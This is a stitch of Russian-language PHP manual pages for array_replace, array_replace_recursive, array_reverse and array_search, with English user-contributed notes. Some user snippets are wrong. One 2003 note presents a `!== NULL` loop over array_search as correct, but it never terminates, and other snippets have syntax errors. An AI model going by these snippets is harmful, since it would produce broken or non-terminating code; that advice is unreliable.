function r_and_dp($a, $b) {
    echo "phase1:" . print_s($a) . "," . print_s($b) . "<br>\n";
    if(is_array($a)) {
        $a = array_reduce($a, "r_and_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_and_dp");
    }
    echo "phase2:" . print_s($a) . "," . print_s($b) . "<br>\n";
    $a = is_null($a) ? TRUE : $a;
    $b = is_null($b) ? TRUE : $b;
    echo "phase3:" . print_s($a) . "," . print_s($b) . "<br>\n";
    return $a && $b;
}
$bools = array(TRUE, array(FALSE, TRUE), TRUE);
echo print_s(array_reduce($bools, "r_and_dp")) . "<br>\n";

// result: FALSE
?>

When using boolean, you have to carefully set an "initial" argument.

<?php
function r_or_dp($a, $b) {
    if(is_array($a)) {
        $a = array_reduce($a, "r_or_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_or_dp");
    }
    return (is_null($a) ? FALSE : $a) || (is_null($b) ? FALSE : $b);
}
?>
bdechka at yahoo dot ca 10-Jan-2007 12:57
The above code works better this way.

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td></tr>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable");
echo "<table>".$tab . "</table>\n";
?>
Seanj.jcink.com 04-Jan-2006 06:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.


Рекурсивно заменяет элементы первого массива элементами переданных массивов

  • « array_reduce
  • array_replace »
  • PHP Manual
  • Функции для работы с массивами
  • Рекурсивно заменяет элементы первого массива элементами переданных массивов

array_replace_recursive

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

array_replace_recursive — Рекурсивно заменяет элементы первого массива элементами переданных массивов

Описание

array_replace_recursive(array $array, array ...$replacements): array

array_replace_recursive() заменяет значения массива array на соответствующие по ключам значения из всех следующих массивов. Если ключ из первого массива есть во втором, его значение будет заменено на значение из второго массива. Если ключ есть во втором массиве, но отсутствует в первом, он будет создан в первом массиве. Если ключ есть только в первом массиве, то он остаётся как есть. Если передано несколько массивов, они будут обработаны по порядку, последующие перезаписывают предыдущие значения.

array_replace_recursive() - рекурсивная функция: она будет рекурсивно углубляться в массивы и применять к всем внутренним значениям один и тот же процесс.

Если значение, переданное в первый массив является скалярным, оно будет заменено значением во втором массиве, которое может быть скалярным значением или массивом. Если оба значения, переданные в первый массив и во второй массив - массивы, array_replace_recursive() будет заменять их значения рекурсивно.

Список параметров

array

Массив, элементы которого будут заменены.

replacements

Массивы, из которых будут браться элементы для замены.

Возвращаемые значения

Возвращает массив (array).

Примеры

Пример #1 Пример использования array_replace_recursive()

<?php
$base = array('citrus' => array( "orange") , 'berries' => array("blackberry", "raspberry"), );
$replacements = array('citrus' => array('pineapple'), 'berries' => array('blueberry'));

$basket = array_replace_recursive($base, $replacements);
print_r($basket);

$basket = array_replace($base, $replacements);
print_r($basket);
?>

Результат выполнения приведённого примера:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

)
Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
        )

)

Пример #2 array_replace_recursive() и рекурсивное поведение

<?php
$base = array('citrus' => array("orange") , 'berries' => array("blackberry", "raspberry"), 'others' => 'banana' );
$replacements = array('citrus' => 'pineapple', 'berries' => array('blueberry'), 'others' => array('litchis'));
$replacements2 = array('citrus' => array('pineapple'), 'berries' => array('blueberry'), 'others' => 'litchis');

$basket = array_replace_recursive($base, $replacements, $replacements2);
print_r($basket);

?>

Результат выполнения приведённого примера:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

    [others] => litchis
)

Смотрите также

  • array_replace() - Заменяет элементы массива элементами других переданных массивов
  • array_merge_recursive() - Рекурсивно сливает один или несколько массивов

User Contributed Notes

Pau Prat Torrella 10-Feb-2020 05:14
Note that function will NOT replace a sub-tree from you $array1 if its value in $array2 is an empty array.
Even tho the key for this dimension is technically 'set'.

(I suppose it treats it as just another recursive level to dive in, finding no key to compare, backtracking while leaving this sub-tree alone)

For example:

$array1  = ['first' => ['second' => 'hello']];
$array2  = ['first' => []];
$result = array_replace_recursive($array1, $array2);

$result is still: ['first' => ['second' => 'hello']].


Заменяет элементы массива элементами других переданных массивов

  • « array_replace_recursive
  • array_reverse »
  • PHP Manual
  • Функции для работы с массивами
  • Заменяет элементы массива элементами других переданных массивов

array_replace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

array_replace — Заменяет элементы массива элементами других переданных массивов

Описание

array_replace(array $array, array ...$replacements): array

array_replace() замещает значения массива array значениями с такими же ключами из других переданных массивов. Если ключ из первого массива присутствует во втором массиве, его значение заменяется на значение из второго массива. Если ключ есть во втором массиве, но отсутствует в первом - он будет создан в первом массиве. Если ключ присутствует только в первом массиве, то сохранится как есть. Если для замены передано несколько массивов, они будут обработаны в порядке передачи и последующие массивы будут перезаписывать значения из предыдущих.

array_replace() не рекурсивная: значения первого массива будут заменены вне зависимости от типа значений второго массива, даже если это будут вложенные массивы.

Список параметров

array

Массив, элементы которого требуется заменить.

replacements

Массивы, из которых будут браться элементы для замены. Значения следующего массива затирают значения предыдущего.

Возвращаемые значения

Возвращает массив (array).

Примеры

Пример #1 Пример использования array_replace()

<?php
$base = array("orange", "banana", "apple", "raspberry");
$replacements = array(0 => "pineapple", 4 => "cherry");
$replacements2 = array(0 => "grape");

$basket = array_replace($base, $replacements, $replacements2);
print_r($basket);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => grape
    [1] => banana
    [2] => apple
    [3] => raspberry
    [4] => cherry
)

Смотрите также

  • array_replace_recursive() - Рекурсивно заменяет элементы первого массива элементами переданных массивов
  • array_merge() - Сливает один или несколько массивов

User Contributed Notes

vlk dot charles at gmail dot com 19-Apr-2024 07:58
I think it is worth mentioning that the array passed as the first argument is not modified and is left intact. A new array is returned. I think the wording of this documentation could be improved because it suggests that the passed array *is* modified.

If you want to modify your existing array, it is not enough to do:

array_replace($arrayToModify, $arrayWithModifications);

You have to assign the returned value back to it like so:

$arrayToModify = array_replace($arrayToModify, $arrayWithModifications);
ricardophp yahoocombr 08-Apr-2022 03:40
Concerning the affirmation:
If you want to append array elements from the second array to the first array while not overwriting the elements from the first array and not re-indexing, use the + array union operator

Clearing the fact (it means ...):
If the first array have a key and a value it will not be overlap by the new array. therefore if you have an array like [1=>"alpha", 2=>"beta"] and you got a new array telling [1=>"Alpha", 3=>"Gamma"] the final array will be [1=>"alpha", 2=>"beta", 3=>"Gamma"]. The values of first array will not be modified in the result array.

So, if you are building a concatenation array where the values sometimes overlaps each other keys and you must preserve values you better use array_merge instead "plus" sign
ivijan dot stefan at gmail dot com 14-Nov-2016 09:16
If you work on some realy old server below PHP5 you can use array_merge like "necessary evil" to replace values in array:

Here is example how you can use this:

<?php
if(function_exists("array_replace") && version_compare(phpversion(), '5.3.0', '>='))
        $data = array_replace($array1, $array2); // (PHP 5 >= 5.3.0)
    else
        $data = array_merge($array1, $array2); // (PHP 5 < 5.3.0)
var_dump($data);
?>

This can also help someplugin developers to cover some old PHP versions.
ali dot sweden19 at yahoo dot com 25-Jan-2016 02:42
Here is a simple array_replace_keys function:

/**
     * This function replaces the keys of an associate array by those supplied in the keys array
     *
     * @param $array target associative array in which the keys are intended to be replaced
     * @param $keys associate array where search key => replace by key, for replacing respective keys
     * @return  array with replaced keys
     */
    private function array_replace_keys($array, $keys)
    {
        foreach ($keys as $search => $replace) {
            if ( isset($array[$search])) {
                $array[$replace] = $array[$search];
                unset($array[$search]);
            }
        }

        return $array;
    }

// Test Drive

print_r(array_replace_keys(['one'=>'apple', 'two'=>'orange'], ['one'=>'ett', 'two'=>'tvo']);
// Output
array(
'ett'=>'apple',
'tvo'=>'orange'
)
projacore at gmail dot com 26-Jul-2015 07:45
You can also use:

<?php
$myarray = [
"Orange",
"572" => "Banana",
"omg" => "Chili",
"nevermind" => "mango"
];

$myarray[0] = "NO-Orange";
$myarray["572"] = "BANANAPHONE!!!";
$myarray["omg"] = "NO-Chili";

print_r($myarray);

?>

RESULT:
Array
(
    [0] => NO-Orange
    [572] => BANANAPHONE!!!
    [omg] => NO-Chili
    [nevermind] => mango
)

with regards
Anonymous 08-May-2015 07:17
The documentation is wrongly phrased: "array_replace() replaces the values of array1"  No replacing is done. A new array is created which looks like the one that would have resulted from the described replacement.

If you want to augment the set of indices in an array, use
       array_to_be_modified += array_with_indices_to_add;
lm713 15-Oct-2014 01:40
If the arrays are associative (that is, their keys are strings), then I believe this function is identical to (the older) array_merge.
kyberprizrak 15-Jun-2014 01:08
if(!function_exists('array_replace'))
{
  function array_replace()
  {
    $args = func_get_args();
    $num_args = func_num_args();
    $res = array();
    for($i=0; $i<$num_args; $i++)
    {
      if(is_array($args[$i]))
      {
        foreach($args[$i] as $key => $val)
        {
          $res[$key] = $val;
        }
      }
      else
      {
        trigger_error(__FUNCTION__ .'(): Argument #'.($i+1).' is not an array', E_USER_WARNING);
        return NULL;
      }
    }
    return $res;
  }
}
marvin_elia at web dot de 18-Mar-2014 11:45
Simple function to replace array keys. Note you have to manually select wether existing keys will be overrided.

/**
  * @param array $array
  * @param array $replacements
  * @param boolean $override
  * @return array
  */
function array_replace_keys(array $array, array $replacements, $override = false) {
    foreach ($replacements as $old => $new) {
        if(is_int($new) || is_string($new)){
            if(array_key_exists($old, $array)){
                if(array_key_exists($new, $array) && $override === false){
                    continue;
                }
                $array[$new] = $array[$old];
                unset($array[$old]);
            }
        }
    }
    return $array;
}
gmastro77 at gmail dot com 10-Apr-2013 05:05
In some cases you might have a structured array from the database and one
of its nodes goes like this;

<?php
# a random node structure
$arr    = array(
    'name'  => 'some name',
    'key2'  => 'value2',
    'title' => 'some title',
    'key4'  => 4,
    'json'  => '[1,0,1,1,0]'
);

# capture these keys values into given order
$keys   = array( 'name', 'json', 'title' );
?>

Now consider that you want to capture $arr values from $keys.
Assuming that you have a limitation to display the content into given keys
order, i.e. use it with a vsprintf, you could use the following

<?php
# string to transform
$string = "<p>name: %s, json: %s, title: %s</p>";

# flip keys once, we will use this twice
$keys   = array_flip( $keys );

# get values from $arr
$test   = array_intersect_key( $arr, $keys );

# still not good enough
echo vsprintf( $string, $test );
// output --> name: some name, json: some title, title: [1,0,1,1,0]

# usage of array_replace to get exact order and save the day
$test   = array_replace( $keys, $test );

# exact output
echo vsprintf( $string, $test );
// output --> name: some name, json: [1,0,1,1,0], title: some title

?>

I hope that this will save someone's time.
steelpandrummer 14-Aug-2012 09:19
<?php
// we wanted the output of only selected array_keys from a big array from a csv-table
// with different order of keys, with optional suppressing of empty or unused values

$values = array
(
    'Article'=>'24497',
    'Type'=>'LED',
    'Socket'=>'E27',
    'Dimmable'=>'',
    'Wattage'=>'10W'
);

$keys = array_fill_keys(array('Article','Wattage','Dimmable','Type','Foobar'), ''); // wanted array with empty value

$allkeys = array_replace($keys, array_intersect_key($values, $keys));    // replace only the wanted keys

$notempty = array_filter($allkeys, 'strlen'); // strlen used as the callback-function with 0==false

print '<pre>';
print_r($allkeys);
print_r($notempty);

/*
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Dimmable] =>
    [Type] => LED
    [Foobar] =>
)
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Type] => LED
)
*/
?>
sun at drupal dot org 27-May-2011 11:42
Instead of calling this function, it's often faster and simpler to do this instead:

<?php
$array_replaced = $array2 + $array1;
?>

If you need references to stay intact:

<?php
$array2 += $array1;
?>
polecat at p0lecat dot com 29-Nov-2010 10:02
I got hit with a noob mistake. :)

When the function was called more than once, it threw a function redeclare error of course.  The enviroment I was coding in never called it more than once but I caught it in testing and here is the fully working revision.  A simple logical step was all that was needed.

With PHP 5.3 still unstable for Debian Lenny at this time and not knowing if array_replace would work with multi-dimensional arrays, I wrote my own.  Since this site has helped me so much, I felt the need to return the favor. :)

<?php
        // Polecat's Multi-dimensional array_replace function
        // Will take all data in second array and apply to first array leaving any non-corresponding values untouched and intact
        function polecat_array_replace( array &$array1, array &$array2 ) {
            // This sub function is the iterator that will loop back on itself ad infinitum till it runs out of array dimensions
            if(!function_exists('tier_parse')){
                function tier_parse(array &$t_array1, array&$t_array2) {
                    foreach ($t_array2 as $k2 => $v2) {
                        if (is_array($t_array2[$k2])) {
                            tier_parse($t_array1[$k2], $t_array2[$k2]);
                        } else {
                            $t_array1[$k2] = $t_array2[$k2];
                        }
                    }
                    return $t_array1;
                }
            }

            foreach ($array2 as $key => $val) {
                if (is_array($array2[$key])) {
                    tier_parse($array1[$key], $array2[$key]);
                } else {
                    $array1[$key] = $array2[$key];
                }
            }
            return $array1;
        }
?>

[I would also like to note] that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

<?php
$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);
?>

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
polecat at p0lecat dot com 29-Nov-2010 09:57
I would like to add to my previous note about my polecat_array_replace function that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
mail at romansklenar dot cz 10-Dec-2009 07:01
To get exactly same result like in PHP 5.3, the foreach loop in your code should look like:

<?php
...
$count = func_num_args();

for ($i = 1; $i < $count; $i++) {
   ...
}
...
?>

Check on this code:

<?php
$base = array('id' => NULL, 'login' => NULL, 'credit' => NULL);
$arr1 = array('id' => 2, 'login' => NULL, 'credit' => 5);
$arr2 = array('id' => NULL, 'login' => 'john.doe', 'credit' => 100);
$result = array_replace($base, $arr1, $arr2);

/*
correct output:

array(3) {
   "id" => NULL
   "login" => string(8) "john.doe"
   "credit" => int(100)
}

your output:

array(3) {
   "id" => int(2)
   "login" => NULL
   "credit" => int(5)
}
*/
?>

Function array_replace "replaces elements from passed arrays into the first array" -- this means replace from top-right to first, then from top-right - 1 to first, etc, etc...
tufan dot oezduman at googlemail dot com 06-Nov-2009 04:19
a little enhancement to dyer85 at gmail dot com's function below:
<?php
if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1, $filterEmpty=false )
  {
    $args = func_get_args();
    $count = func_num_args()-1;

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
            if ($filterEmpty && empty($val)) continue;
            $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}
?>

this will allow you to "tetris-like" merge arrays:

<?php

$a= array(
    0 => "foo",
    1 => "",
    2 => "baz"
);
$b= array(
    0 => "",
    1 => "bar",
    2 => ""
);

print_r(array_replace($a,$b, true));

?>
results in:
Array
(
    [0] => foo
    [1] => bar
    [2] => baz
)


Возвращает массив с элементами в обратном порядке

  • « array_replace
  • array_search »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает массив с элементами в обратном порядке

array_reverse

(PHP 4, PHP 5, PHP 7, PHP 8)

array_reverse — Возвращает массив с элементами в обратном порядке

Описание

array_reverse(array $array, bool $preserve_keys = false): array

Принимает массив array и возвращает новый массив, содержащий элементы исходного массива в обратном порядке.

Список параметров

array

Входной массив.

preserve_keys

Если установлено в true, то числовые ключи будут сохранены. Нечисловые ключи не подвержены этой опции и всегда сохраняются.

Возвращаемые значения

Возвращает массив с элементами в обратном порядке.

Примеры

Пример #1 Пример использования array_reverse()

<?php
$input = array("php", 4.0, array("green", "red"));
$reversed = array_reverse($input);
$preserved = array_reverse($input, true);

print_r($input);
print_r($reversed);
print_r($preserved);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => php
    [1] => 4
    [2] => Array
        (
            [0] => green
            [1] => red
        )

)
Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

Смотрите также

  • array_flip() - Меняет местами ключи с их значениями в массиве

User Contributed Notes

There are no user contributed notes for this page.


Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента

  • « array_reverse
  • array_shift »
  • PHP Manual
  • Функции для работы с массивами
  • Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента

array_search

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

array_search — Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента

Описание

array_search(mixed $needle, array $haystack, bool $strict = false): int|string|false

Ищет значение needle в массиве haystack.

Список параметров

needle

Искомое значение.

Замечание:

Если искомое значение needle — строка, функция сравнивает значения с учётом регистра.

haystack

Массив.

strict

Функция array_search() будет искать идентичные элементы в массиве haystack, если третьему параметру strict установили значение true. То есть функция также будет выполнять строгое сравнение типа значения needle в массиве haystack, а индекс объекта функция найдёт, если объект окажется тем же экземпляром.

Возвращаемые значения

Возвращает ключ значения needle, если функция нашла значение в массиве, иначе false.

Функция вернёт первый найденный ключ, если в массиве haystack значение needle встречается больше одного раза. Чтобы вернуть ключи всех найденных значений, вызывают функцию array_keys() с необязательным параметром filter_value.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Примеры

Пример #1 Пример использования функции array_search()

<?php

$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array); // $key = 1;

?>

Смотрите также

  • array_keys() - Возвращает все или некоторое подмножество ключей массива
  • array_values() - Возвращает все значения массива
  • array_key_exists() - Проверяет, существует ли в массиве заданный ключ или индекс
  • in_array() - Проверяет, присутствует ли в массиве значение

User Contributed Notes

opencart dot ocfilter at gmail dot com 23-Sep-2021 12:43
Be careful!

<?php

var_dump(array_search('needle', [ 0 => 0 ])); // int(0) (!)

var_dump(array_search('needle', [ 0 => 0 ], true)); // bool(false)

?>

But, in php 8

<?php

var_dump(array_search('needle', [ 0 => 0 ])); // bool(false)

?>
nordseebaer at gmx dot de 08-May-2020 08:08
It's really important to check the return value is not false! I used array_search() to determine the index of an value to unset this value and then realized that $arr[false] === $arr[0] !

<?php
$arr = ['apple', 'banana'];

var_dump($arr[0] === 'apple'); // true
var_dump($arr[false] === $arr[0]); // true
var_dump($arr[false] === 'apple'); // true

unset($arr[array_search('banana', $arr)]); //index = 1
var_dump($arr);

// result
//   array(1) {
//     [0]=>
//     string(5) "apple"
//   }

unset($arr[array_search('peach', $arr)]); //not found, result is false
var_dump($arr);

// result
//   array(0) {
//   }
// because $arr[false] === $arr[0]
?>

So always check the return of array_search!
yasien dot dwieb at gmail dot com 28-Apr-2020 05:41
Beware when using array_search to a mix of string and integer where prefixes of keys may collide, as in my case I have encountered the following situation:

Assume you have the following array:
<?php
$arr = [
           1 => 'index 0',
           2 => 'index 1',
           3 => 'index 2',
           '3anothersuffix' => 'index 3'
];

$index1 = array_search('3', array_keys($arr)); // 2
$index2 = array_search('3anothersuffix', array_keys($arr)); //2
?>

$index1 and $index2 will be the same

after using strict type search:

<?php
$index1 = array_search('3', array_keys($arr), true); // false
$index2 = array_search('3anothersuffix', array_keys($arr), true);  //3
?>

it will not find $index1 at all while returning a correct value for $index2;
thinbegin at gmail dot com 18-Jan-2018 10:18
Despite PHP's amazing assortment of array functions and juggling maneuvers, I found myself needing a way to get the FULL array key mapping to a specific value. This function does that, and returns an array of the appropriate keys to get to said (first) value occurrence.

function array_recursive_search_key_map($needle, $haystack) {
    foreach($haystack as $first_level_key=>$value) {
        if ($needle === $value) {
            return array($first_level_key);
        } elseif (is_array($value)) {
            $callback = array_recursive_search_key_map($needle, $value);
            if ($callback) {
                return array_merge(array($first_level_key), $callback);
            }
        }
    }
    return false;
}

usage example:
-------------------

$nested_array = $sample_array = array(
    'a' => array(
        'one' => array ('aaa' => 'apple', 'bbb' => 'berry', 'ccc' => 'cantalope'),
        'two' => array ('ddd' => 'dog', 'eee' => 'elephant', 'fff' => 'fox')
    ),
    'b' => array(
        'three' => array ('ggg' => 'glad', 'hhh' => 'happy', 'iii' => 'insane'),
        'four' => array ('jjj' => 'jim', 'kkk' => 'kim', 'lll' => 'liam')
    ),
    'c' => array(
        'five' => array ('mmm' => 'mow', 'nnn' => 'no', 'ooo' => 'ohh'),
        'six' => array ('ppp' => 'pidgeon', 'qqq' => 'quail', 'rrr' => 'rooster')
    )
);

$search_value = 'insane';

$array_keymap = array_recursive_search_key_map($search_value, $nested_array);

var_dump($array_keymap);
// Outputs:
// array(3) {
// [0]=>
//  string(1) "b"
//  [1]=>
//  string(5) "three"
//  [2]=>
//  string(3) "iii"
//}

----------------------------------------------

But again, with the above solution, PHP again falls short on how to dynamically access a specific element's value within the nested array. For that, I wrote a 2nd function to pull the value that was mapped above.

function array_get_nested_value($keymap, $array)
{
    $nest_depth = sizeof($keymap);
    $value = $array;
    for ($i = 0; $i < $nest_depth; $i++) {
        $value = $value[$keymap[$i]];
    }

    return $value;
}

usage example:
-------------------
echo array_get_nested_value($array_keymap, $nested_array);   // insane
turabgarip at gmail dot com 10-Mar-2017 03:04
About searcing in multi-dimentional arrays; two notes on "xfoxawy at gmail dot com";

It perfectly searches through multi-dimentional arrays combined with array_column() (min php 5.5.0) but it may not return the values you'd expect.

<?php array_search($needle, array_column($array, 'key')); ?>

Since array_column() will produce a resulting array; it won't preserve your multi-dimentional array's keys. So if you check against your keys, it will fail.

For example;

<?php
$people = array(
  2 => array(
    'name' => 'John',
    'fav_color' => 'green'
  ),
  5=> array(
    'name' => 'Samuel',
    'fav_color' => 'blue'
  )
);

$found_key = array_search('blue', array_column($people, 'fav_color'));
?>

Here, you could expect that the $found_key would be "5" but it's NOT. It will be 1. Since it's the second element of the produced array by the array_column() function.

Secondly, if your array is big, I would recommend you to first assign a new variable so that it wouldn't call array_column() for each element it searches. For a better performance, you could do;

<?php
$colors = array_column($people, 'fav_color');
$found_key = array_search('blue', $colors);
?>
maciej at speccode dot com 18-Aug-2015 05:58
FYI, remember that strict mode is something that might save you hours.

If you're searching for a string and you have a "true" boolean on the way - you will get it as result (first occurrence). Example below:

<?php

$arr = [
    'foo'    => 'bar',
    'abc'    => 'def',
    'bool'   => true,
    'target' => 'xyz'
];

var_dump( array_search( 'xyz', $arr ) ); //bool
var_dump( array_search( 'xyz', $arr, true ) ); //target

?>
stooshie at gmail dot com 06-Oct-2011 02:51
Example of a recursive binary search that returns the index rather than boolean.
<?php
// returns the index of needle in haystack
function binSearch($needle, $haystack)
{
    // n is only needed if counting depth of search
    global $n;
    $n++;
    // get the length of passed array
    $l = count($haystack);
    // if length is 0, problem
    if($l <= 0)
    {
        return -1;
    }
    // get the mid element
    $m = (($l+($l%2))/2);
    // if mid >= length (e.g. l=1)
    if($m >= $l)
    {
        $m = $m-1;
    }
    // get the indexed element to compare to the passed element and branch accordingly
    $compare = $haystack[$m];
    switch(true)
    {
        case($compare>$needle):
        {
            // recurse on the lower half
            $new_haystack = array_slice($haystack, 0, $m);
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current index - (length of lower half - found index in lower half)
            return $m - ($c - $r);
            break;
        }
        case($compare<$needle):
        {
            // recurse on the upper half
            $new_haystack = array_slice($haystack, $m, ($l-$m));
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current position + found index in upper half
            return $m + $r;
            break;
        }
        case($compare==$needle):
        {
            // found it, so return index
            return $m;
            break;
        }
    }
}
?>
stefano@takys dot it 14-Jan-2011 01:58
for searching case insensitive better this:

<?php
array_search(strtolower($element),array_map('strtolower',$array));
?>
codeslinger at compsalot dot com 02-Oct-2009 12:22
one thing to be very aware of is that array_search() will fail if the needle is a string and the array itself contains values that are mixture of numbers and strings.  (or even a string that looks like a number)

The problem is that unless you specify "strict" the match is done using ==    and in that case any string will match a numeric value of zero which is not what you want.

-----

also, php can lookup an index pretty darn fast.  for many scenarios, it is practical to maintain multiple arrays, one in which the index of the array is the search key and the normal array that contains the data.

<?php

  $normal[$index] = array('key'=>$key, 'data'=>'foo');
  $inverse[$key] = $index;

  //very fast lookup, this beats any other kind of search

  if (array_key_exists($key, $inverse))
  {
    $index = $inverse[$key];
    return $normal[$index];
  }

?>
n-regen 05-May-2009 10:36
If you only know a part of a value in an array and want to know the complete value, you can use the following function:
<?php
function array_find($needle, $haystack)
{
   foreach ($haystack as $item)
   {
      if (strpos($item, $needle) !== FALSE)
      {
         return $item;
         break;
      }
   }
}
?>
The function returns the complete first value of $haystack that contains $needle.
helenadeus at gmail dot com 25-Jan-2009 01:05
I was trying to use array_search to retrieve all the values that match a given needle, but it turns out only the first match key is returned. I built this little function, which works just like array_search, but returns all the keys that match a given needle instead. The output is an array.

<?php

$haystack = array('a','b','a','b');

$needle = 'a';

print_r(array_search_all($needle, $haystack));

//Output will be
// Array
// (
//         [0]=>1
//         [1]=>3
// )

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

?>
azaozz, gmail 20-Dec-2008 05:23
Expanding on the comment by hansen{}cointel.de:

When searching for a string and the array contains 0 (zero), the string is casted to (int) by the type-casting which is always 0 (perhaps the opposite is the proper behaviour, the array value 0 should have been casted to string). That produces unexpected results if strict comparison is not used:

<?php
$a = array(0, "str1", "str2", "str3");
echo "
str1 = ".array_search("str1", $a).",
str2 = ".array_search("str2", $a).",
str3 = ".array_search("str3", $a).",

str1 strict = ".array_search("str1", $a, true).",
str2 strict = ".array_search("str2", $a, true).",
str3 strict = ".array_search("str3", $a, true);
?>

This will return:
str1 = 0, str2 = 0, str3 = 0, str1 strict = 1, str2 strict = 2, str3 strict = 3
andreas dot damm at maxmachine dot de 03-Apr-2008 04:07
Combining syntax of array_search() and functionality of array_keys() to get all key=>value associations of an array with the given search-value:
<?php
function array_search_values( $m_needle, $a_haystack, $b_strict = false){
    return array_intersect_key( $a_haystack, array_flip( array_keys( $a_haystack, $m_needle, $b_strict)));
}
?>

Usage:
<?php
$array1 = array( 'pre'=>'2', 1, 2, 3, '1', '2', '3', 'post'=>2);
print_r( array_search_values( '2', $array1));
print_r( array_search_values( '2', $array1, true));
print_r( array_search_values( 2, $array1, true));
?>

Will return:
array(4) {
    ["pre"] =>
    string(1) "2"
    [1] =>
    int(2)
    [4] =>
    string(1) "2"
    ["post"] =>
    int(2)
}
array(2) {
    ["pre"] =>
    string(1) "2"
    [4] =>
    string(1) "2"
}
array(2) {
    [1] =>
    int(2)
    ["post"] =>
    int(2)
}
kermes [at] thesevens [dot] net 11-Sep-2007 03:09
A variation of previous searches that returns an array of keys that match the given value:

<?php
function array_ksearch($array, $str)
{
    $result = array();
    for($i = 0; $i < count($array); next($array), $i++)
        if(strtolower(current($array)) == strtolower($str))
            array_push($result, key($array);

    return $result;
}
?>

Usage would be as follows:
<?php
$testArray = array('one' => 'test1', 'two' => 'test2', 'three' => 'test1', 'four' => 'test2', 'five' => 'test1');
    print_r(array_ksearch($testArray, 'test1'));
?>
RichGC 20-Mar-2006 05:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
cue at openxbox dot com 09-Jun-2003 07:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>


Извлекает первый элемент массива

  • « array_search
  • array_slice »
  • PHP Manual
  • Функции для работы с массивами
  • Извлекает первый элемент массива

array_shift

(PHP 4, PHP 5, PHP 7, PHP 8)

